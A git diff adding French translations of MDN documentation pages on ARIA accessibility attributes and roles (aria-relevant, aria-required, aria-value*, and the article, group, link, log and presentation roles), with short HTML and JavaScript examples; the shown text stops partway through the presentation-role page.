+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.html new file mode 100644 index 0000000000..2354a7be55 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.html @@ -0,0 +1,30 @@ +--- +title: Utiliser l'attribut aria-relevant +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-relevant +tags: + - ARIA + - Accessibilité +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute +--- +

L’attribut aria-relevant est une valeur optionnelle utilisée pour décrire quels types de modifications ont été apportés à une région aria-live, ainsi que ceux qui sont pertinents et doivent être annoncés. Toute modification jugée comme non pertinente se comporte de la même manière que si l’attribut aria-live n’était pas activé.

+ +

L’attribut aria-relevant est habituellement utilisé lorsque le contenu d’une page web peut être mis à jour alors que la page est affichée.

+ +

Valeurs

+ +

Une liste délimitée par des espaces avec une ou plusieurs des valeurs suivantes :

+ +
    +
  • « additions » L’insertion de noeuds au sein de la région live doit être considérée comme pertinente
    • +
  • « removals » La suppression de noeuds doit être considérée comme pertinente
    • +
  • « text » Des changements apportés au contenu texte de noeuds existants doivent être considérés comme pertinents
    • +
  • « all » Equivalent à « additions removals text »
    • +
+ +

aria-relevant="additions text" est la valeur par défaut d’une région live.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.html new file mode 100644 index 0000000000..79bbf0d0ed --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.html @@ -0,0 +1,82 @@ +--- +title: Utiliser l'attribut aria-required +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-required +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-required.

+
+ +

L’attribut aria-required est utilisé pour indiquer que l’utilisateur doit obligatoirement remplir un champ de formulaire avant de le soumettre. Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML ; il n’est pas limité aux éléments auxquels a été assigné un rôle ARIA.

+ +

{{ HTMLVersionInline("5") }} a introduit l’attribut required, mais aria-required est toujours utile pour les agents utilisateurs qui ne prennent pas encore en charge HTML5.

+ +

Valeurs

+ +

true ou false (Valeur par défaut : false)

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Les lecteurs d’écran devraient annoncer le champ comme étant obligatoire.

+ +

Remarquez que cet attribut ne changera pas automatiquement la présentation du champ.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : un formulaire simple

+ +
<form action="post">
+  <label for="prenom">Prénom&nbsp;:</label>
+  <input id="prenom" type="text" aria-required="true">
+  <br/>
+  <label for="nom">Nom&nbsp;:</label>
+  <input id="nom" type="text" aria-required="true">
+  <br/>
+  <label for="adresse">Adresse&nbsp;:</label>
+  <input id="adresse" type="text">
+</form>
+
+ +

Exemples concrets :

+ +

Exemple d’infobulle (comprenant l’utilisation de l’attribut aria-required).

+ +

Notes

+ +

Utilisé dans les rôles ARIA

+ +
    +
  • Combobox ;
    • +
  • Gridcell ;
    • +
  • Listbox ;
    • +
  • Radiogroup ;
    • +
  • Spinbutton ;
    • +
  • Textbox ;
    • +
  • Tree.
    • +
+ +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.html new file mode 100644 index 0000000000..dfcacb5ea1 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.html @@ -0,0 +1,74 @@ +--- +title: Utiliser l'attribut aria-valuemax +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-valuemax.

+
+ +

L’attribut aria-valuemax est utilisé pour définir la valeur maximale autorisée pour un composant à intervalle tels qu’une barre de progression progressbar, un bouton rotatif spinbutton ou un curseur slider. Si aria-valuenow a des valeurs minimale et maximale connues, le développeur devrait fournir les propriétés de aria-valuemax et aria-valuemin. La valeur de aria-valuemax DOIT être supérieure ou égale à celle de aria-valuemin.

+ +

aria-valuemax est un attribut obligatoire des rôles slider, scrollbar et spinbutton.

+ +

Valeurs

+ +

Représentation d’un nombre par une chaîne

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Si la valeur aria-valuemax n’est pas déterminée, ou si aria-valuemin n’est pas inférieure ou égale à la valeur de aria-valuemax, cela créera une condition d’erreur qui sera gérée par la technologie d’assistance.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1:

+ +

L’extrait de code ci-dessous montre un curseur basique avec une valeur maximale de 10.

+ +
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Utilisés avec les rôles ARIA

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.html new file mode 100644 index 0000000000..55e3dc2d4c --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.html @@ -0,0 +1,70 @@ +--- +title: Utiliser l'attribut aria-valuemin +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute +--- +

Description

+ +

L’attribut aria-valuemin est utilisé pour définir la valeur minimale autorisée pour un composant à intervalle tel qu’une barre de progression progressbar, un bouton rotatif spinbutton ou un curseur slider. Si aria-valuenow a des valeurs limites connues (minimum et maximum), le développeur devrait spécifier les propriétés de aria-valuemax et aria-valuemin. La valeur de aria-valuemin DOIT être inférieure ou égale à celle de aria-valuemax.

+ +

aria-valuemin est un attribut obligatoire des rôles slider, scrollbar et spinbutton.

+ +

Valeurs

+ +

Représentation d’un nombre sous forme d'une chaîne

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Si aria-valuemin n’est pas inférieure ou égale à la valeur de aria-valuemax, cela créera une condition d’erreur qui sera gérée par la technologie d’assistance.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 :

+ +

L’extrait de code ci-dessous montre un curseur basique avec une valeur minimale de 1.

+ +
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Utilisé avec les rôles ARIA

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.html new file mode 100644 index 0000000000..15f5e46588 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.html @@ -0,0 +1,78 @@ +--- +title: Utiliser l'attribut aria-valuenow +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l'attribut aria-valuenow.

+
+ +

L’attribut aria-valuenow est utilisé pour définir la valeur courante de l’intervalle d’un composant tel qu’un slider, spinbutton ou une progressbar. Si la valeur courante n'est pas connue, le développeur ne devrait pas définir l’attribut aria-valuenow. Si aria-valuenow a des valeurs minimale et maximale connues, le développeur devrait définir les attributs aria-valuemin et aria-valuemax.

+ +

Lorsque la valeur retournée ne peut être précisément représentée par une nombre, les développeurs DEVRAIENT utiliser l’attribut aria-valuetext en conjonction avec aria-valuenow pour fournir une représentation humainement lisible de la valeur courante. Par exemple, un curseur peut avoir des valeurs retournées comme petite, moyenne et grande. Dans ce cas, les valeurs de aria-valuenow peuvent varier de 1 à 3, ce qui indique la position de chaque valeur dans l'espace de valeurs, mais la valeur de aria-valuetext sera l’une des chaînes : petite, moyenne ou grande.

+ +

L’attribut aria-valuenow est obligatoire pour les rôles slider, scrollbar et spinbutton.

+ +

Valeurs

+ +

Représentation d’un nombre par une chaîne

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Pour les éléments possédant les rôles progressbar et scrollbar, les technologies d’assistance DEVRAIENT renvoyer la valeur courante sous forme de pourcentage, calculée comme étant la position dans l'intervalle compris entre aria-valuemin et aria-valuemax si les deux sont définies,  sinon la valeur actuelle avec un pourcentage.

+ +

Pour les éléments possédant les rôles slider et spinbutton, les technologies d’assistance DEVRAIENT retourner la valeur courante à l’utilisateur.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 :

+ +

L’extrait de code ci-dessous affiche un curseur simple avec une valeur courante de 4.

+ +
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Utilisé avec les rôles ARIA

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.html new file mode 100644 index 0000000000..a328cb3066 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.html @@ -0,0 +1,66 @@ +--- +title: Utiliser l'attribut aria-valuetext +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute +--- +

Description

+ +

L’attribut aria-valuetext est utilisé pour définir un texte alternatif, lisible par l'homme, de la valeur aria-valuenow d’un composant à intervalle tel qu’une barre de progression, un bouton rotatif spinbutton ou un curseur slider.

+ +

Les développeurs DEVRAIENT uniquement définir l’attribut aria-valuetext lorsque la valeur retournée ne peut pas être précisément représentée sous forme de nombre.

+ +

Par exemple, dans le cas d'un curseur qui peut retourner les valeurs petite, moyenneet grand, les valeurs de aria-valuenow pourraient aller de 1 à 3, indiquant ainsi la position de chaque valeur dans l’intervalle, mais la valeur de aria-valuetext sera l'une des chaînes suivantes : petite, moyenne ou grande.

+ +

Valeurs

+ +

Représentation d’un nombre sous forme d'une chaîne

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Si l’attribut aria-valuetext est absent, les technologies d’assistance compteront uniquement sur l’attribut aria-valuenow pour la valeur courante. Si aria-valuetext est spécifié, les technologies d’assistance DEVRAIENT retourner cette valeur plutôt que celle de aria-valuenow.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 :

+ +

L’extrait de code ci-dessous montre un curseur simple de sélection d’un jour de la semaine. La valeur du curseur est numérique, et l’attribut aria-valuetext est utilisé pour fournir le nom de jour. L’application actualisera programmatiquement aria-valuetext selon la valeur de aria-valuenow.

+ +
<div role="slider" aria-valuenow="1"
+    aria-valuemin="1" aria-valuemax="7"
+    aria-valuetext="Dimanche">
+
+ +

Exemples concrets :

+ +

Notes

+ +

Utilisé avec les rôles ARIA

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.html new file mode 100644 index 0000000000..083051aa61 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.html @@ -0,0 +1,66 @@ +--- +title: Utiliser le rôle article +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_article +tags: + - ARIA + - Accessibilité + - Rôle + - À relire +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle article (en) et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle article est utilisé pour identifier une section de page qui forme une partie indépendante d'un document, d'une page ou d'un site. Les exemples d'article peuvent être des billets de blogs ou des articles d'un magazine ou d'un journal ou encore les commentaires soumis par les utilisateurs. Ils sont indépendants dans le sens où leur contenu pourrait être autonome, par exemple pour un flux de syndication.

+ +

Les articles peuvent être imbriqués. Par exemple, une entrée de blog sur un site acceptant les commentaires des visiteurs pourrait représenter ces commentaires comme des articles incluent dans l'article de l'entrée de blog.

+ +

Le rôle ARIA article est similaire à l'élément {{ HTMLVersionInline("5") }} {{ HTMLElement("article") }}. Cependant l'élément {{ HTMLElement("article") }} devrait toujours recevoir le rôle ARIA article car toutes les technologies d'assistance ne prennent pas encore en charge HTML5.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque l'utilisateur navigue dans un élément ayant le rôle article, les technologies d'assistance qui interceptent généralement les événements clavier standards doivent basculer en mode de navigation du document, plutôt que de passer les événements clavier à l'application web.

+ +

Les technologies d'assistance doivent fournit une fonctionnalité permettant à l'utilisateur de naviguer dans la hiérarchie de chacun des éléments article imbriqués.

+ +
Note: il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Utilisation du role article sans élément article :

+ +
<div role="article">
+
+  <h1>Une titre de billet de blog</h1>
+  <p>contenu du billet...</p>
+
+  <div class="comments">
+    <div role="article">
+      <p>Un premier commentaire</p>
+    </div>
+    <div role="article">
+      <p>Un deuxième commentaire</p>
+    </div>
+  </div>
+
+</div>
+
+ +

Exemples concrets :

+ +

Notes 

+ +

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ +

Spécification WAI-ARIA du rôle article (en)

diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.html new file mode 100644 index 0000000000..3e335427c7 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.html @@ -0,0 +1,128 @@ +--- +title: Utiliser le rôle group +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_group +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle group et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle group est utilisé pour identifier un ensemble d’objets de l’interface utilisateur qui, contrairement à une region, ne sont pas destinés à être intégrés dans une table de contenus ou une page récapitulative (telles que des structures dynamiquement créées par des scripts ou par les technologies d’assistance) ; un groupe ne devrait pas être considéré comme une partie perceptible majeure d’une page. Lorsque le rôle group est ajouté à un élément, , le navigateur émettra un événement group accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

+ +

Un groupe devrait utilisé pour former un ensemble logique d’éléments avec des fonctions connexes, tels que les enfants dans un composant d’arborescence formant un ensemble apparenté dans une hiérarchie, ou une collection d’éléments ayant le même conteneur dans un répertoire. Cependant, lorsqu’on utilise un groupe pour former une liste, les développeurs doivent limiter ses enfants aux éléments listitem. Les éléments de groupe devraient être imbriqués.

+ +

La gestion correcte d’un groupe par les technologies d’assistance est déterminée par le contexte dans lequel il est fourni.

+ +

Si un auteur pense qu’une section est suffisamment importante pour faire partie de la table des matières d’une page, il devrait assigner un rôle de region ou un rôle standard de point de repère à cette section.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle group est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément ayant un rôle de groupe à l’API d’accessibilité du système d’exploitation ;
    • +
  • Déclencher un événement groupe accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+ +
    +
  • Les lecteurs d’écran devraient annoncer le groupe lorsque le focus atteint l’un des contrôles appartenant au groupe, et si aria-describedby a été défini, la description peut être lue. Après cela seulement le contrôle focalisé devrait être annoncé.
    • +
  • Les loupes d’écran devraient agrandir le groupe.
    • +
+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Utiliser le rôle group avec une arborescence HTML

+ +

L’extrait de code ci-dessous montre comment le rôle group est ajouté directement dans le code source HTML.

+ +
<div id="tree1" class="tree" role="tree" tabindex="-1">
+  <div id="animals" class="groupHeader" role="presentation" aria-owns="animalGroup" aria-expanded="true">
+    <img class="headerImg" role="presentation" tabindex="-1" src="images/treeExpanded.gif" />
+    <span role="treeitem" tabindex="0">Animaux</span>
+  </div>
+
+  <div id="animalGroup" class="group" role="group">
+    <div id="birds" class="treeitem" role="presentation">
+      <span role="treeitem" tabindex="-1">Oiseaux</span>
+    </div>
+
+    <div id="cats" class="groupHeader" role="presentation" aria-owns="catGroup" aria-expanded="false">
+      <img class="headerImg" role="presentation" tabindex="-1" src="images/treeContracted.gif" />
+      <span role="treeitem" tabindex="0">Chats</span>
+    </div>
+
+ <div id="catGroup" class="group" role="group">
+      <div id="siamese" class="treeitem" role="presentation">
+        <span role="treeitem" tabindex="-1">Siamois</span>
+      </div>
+      <div id="tabby" class="treeitem" role="presentation">
+        <span role="treeitem" tabindex="-1">Tigré</span>
+      </div>
+    </div>
+  </div>
+</div>
+ +

Exemple 2 : Utiliser le rôle group avec un menu déroulant HTML

+ +

L’extrait de code ci-dessous montre comment le rôle group est ajouté directement au code source HTML.

+ +
<div role="menu">
+  <ul role="group">
+    <li role="menuitem">Courrier entrant</li>
+    <li role="menuitem">Archive</li>
+    <li role="menuitem">Corbeille</li>
+  </ul>
+  <ul role="group">
+    <li role="menuitem">Dossier personnalisé 1</li>
+    <li role="menuitem">Dossier personnalisé 2</li>
+    <li role="menuitem">Dossier personnalisé 3</li>
+  </ul>
+
+  <ul role="group">
+    <li role="menuitem">Nouveau dossier</li>
+  </ul>
+</div>
+ +

Exemples concrets :

+ + + +

Notes

+ +
    +
  • Les membres du groupe qui se trouve à l’extérieur du sous-arbre DOM du groupe doivent avoir leurs relations avec ce dernier explicitement assignées afin de participer au groupe.
    • +
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.html new file mode 100644 index 0000000000..2a65d9f471 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.html @@ -0,0 +1,75 @@ +--- +title: Utiliser le rôle link +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_link +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role +--- +

Description

+
+

Cette technique présente l’utilisation du rôle link et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+

Le rôle link est utilisé pour identifier un élément qui crée un hyperlien vers une ressource qui peut être dans l’application ou à l’extérieur. Lorsque ce rôle est ajouté à un élément, la tabulation peut être utilisée pour donner le focus au lien et la barre d’espace ou la touche Entrée peuvent exécuter le lien.

+

L’attribut tabindex peut éventuellement être utilisé avec ce rôle pour spécifier directement la position de l’élément dans l’ordre de tabulation.

+

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+

Lorsque le rôle link est ajouté à un élément, ou qu’un élément possédant ce rôle devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+
    +
  • Présenter l’élément comme un lien à l’API accessibilité du système d’exploitation.
    • +
  • Déclencher un événement lien accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+
    +
  • Les lecteurs d'écran devraient annoncer le texte du lien ou son label lorsque l'élément avec le rôle linkreçoit le focus, en plus du fait ce que c'est un lien. Les liens ARIA devraient être intégré dans la fonction « lister les liens » (List Links) des lecteurs d'écran de la même façon que les liens ordinaires, et les actions dans cette liste de dialogue, tels que « Activer le lien » ou « Déplacer le lien », devraient se comporter de la meme façon qu'avec des liens ordinaires. 
    • +
  • Les loupes d’écran devraient agrandir le lien.
    • +
+
+ Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+

Exemples

+

Exemple 1 : Ajoute le rôle dans le code HTML

+

L’extrait de code ci-dessous montre comment le rôle link est ajouté dans le code source HTML. 

+
<div role=”link”>Un lien</div>
+
+

Exemple 2 : Lien accessible créé depuis une application à l'aide d'un <span>

+
<script type="text/javascript">
+sap = {ui:{keycodes:{SPACE:32, ENTER:13 }}};
+//gère les clics et les événement clavier sur le lien
+function navigateLink(evt) {
+    if (evt.type=="click" ||
+        evt.keyCode == sap.ui.keycodes.SPACE ||
+        evt.keyCode == sap.ui.keycodes.ENTER) {
+        var ref = evt.target != null ? evt.target : evt.srcElement;
+        if (ref) window.open(ref.getAttribute("href"),"_blank");
+    }
+}
+</script>
+
+<body role="application">
+
+    <h3>Lien simple créé avec un <span></h3>
+    <span href="http://www.w3c.org" onkeydown="navigateLink(event)" onclick="navigateLink(event)" tabindex="0" id="link1" role="link" class="link">
+      Activez ce lien en appuyant sur la barre d’espace ou la touche Entrée
+    </span>
+</body>
+

Exemples concrets :

+ +

Notes

+

Si l'activation du lien déclenche une action mais ne déplace pas le focus du navigateur ou que cela ouvre une nouvelle page, vous devriez considérer l'utilisation du rôle button au lieu du rôle link.

+

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+ +

Compatibilité

+

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+

Autres ressources

+
    +
  • Bonnes pratiques ARIA - Rôle Link : #link
    • +
diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.html new file mode 100644 index 0000000000..17f4e5f336 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.html @@ -0,0 +1,97 @@ +--- +title: Utiliser le rôle log +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_log +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle log et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle log est utilisé pour identifier un élément qui crée une zone live où de nouvelles informations sont ajoutées dans un ordre significatif et où les anciennes informations peuvent être supprimées. Par exemple, un journal de salon de discussion, l’historique d’une messagerie ou un fichier d’erreurs. Contrairement aux autres types de zones live, ce rôle est ordonné de façon séquentielle et les nouvelles informations sont uniquement ajoutées à la fin de l’enregistrement. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement log accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

+ +

Par défaut, les mises à jour ne contiennent que les changements apportés à la zone live et elles sont annoncées à l'utilisateur lorsqu'il est inactif. Si l'utilisateur a besoin d'entendre l'ensemble de la zone live lorsqu'un changement se produit, il faut utiliser aria-atomic="true". Pour faire les annonces le plus tôt possible et lorsque l'utilisateur peut être interrompu, aria-live="assertive" peut être défini pour lancer des mises à jour plus agressives.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle log est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément ayant un rôle de journal à l’API d’accessibilité du système d’exploitation ;
    • +
  • Déclencher un événement journal accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+ +
    +
  • Les lecteurs d'écran devraient annoncer les changements intervenus dans le fichier de journalisation lorsque l'utilisateur est inactif, à moins que aria-live="assertive" soit défini, dans quel cas l'utilisateur peut être interrompu.
    • +
  • Les loupes d'écran devraient indiquer visuellement la disponibilité d'une mise à jour du fichier de journalisation.
    • +
+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Ajout du rôle dans du code HTML

+ +

L’extrait de code ci-dessous montre comment le rôle log est ajouté directement dans le code source HTML.

+ +
<div id=”liveregion” class=”region” role=”log”></div>
+
+ +

Exemple 2 : Extrait d’un exemple d’application

+ +

Cet extrait de code crée le journal dans une application de chat AJAX.

+ +
<div id="chatArea" role="log">
+  <ul id="chatRegion" aria-live="polite" aria-atomic="false">
+    <li>Veuillez choisir un pseudo pour commencer à utiliser AJAX Chat.</li>
+  </ul>
+
+  <ul id="userListRegion" aria-live="off" aria-relevant="additions removals text">
+  </ul>
+</div>
+ +

Voir l’exemple sur CodeTalks pour plus d’informations.

+ +

Exemples concrets :

+ + + +

Notes

+ +
    +
  • L'utilisation du rôle log sur un élément implique que cet élément possède l'attribut aria-live="polite".
    • +
  • Pour une zone avec un défilement de texte, comme un bandeau défilant, il est préférable d'utiliser le rôle marquee.
    • +
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ +
    +
  • Bonnes pratiques ARIA – Implémentation des zones live : #LiveRegions.
    • +
diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.html new file mode 100644 index 0000000000..3aae7c9b84 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.html @@ -0,0 +1,66 @@ +--- +title: Utiliser le rôle presentation +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_presentation +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role +--- +

Cette page présente l'usage du rôle presentation et décrit l'effet qu'il a sur les navigateurs et les technologies d'assistance.

+ +

Description

+ +
+

Le rôle presentation est utilisé pour retirer toute représentation sémantique pour un élément donnée ainsi que pour ses descendants. Par exemple, un tableau utilisé pour la mise en page pourrait avoir un rôle presentation appliqué sur l'élément table pour retirer la sémantique de l'élément en lui-même ainsi que tout ses sous-éléments, comme l'en-tête de tableau ou même les données de tableau elles-mêmes.

+
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Les agents utilisateurs ou les technologies d'assistance ne devrait normalement pas lire les éléments marqués comme étant de rôle presentation.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1: Les icônes-fontes

+ +

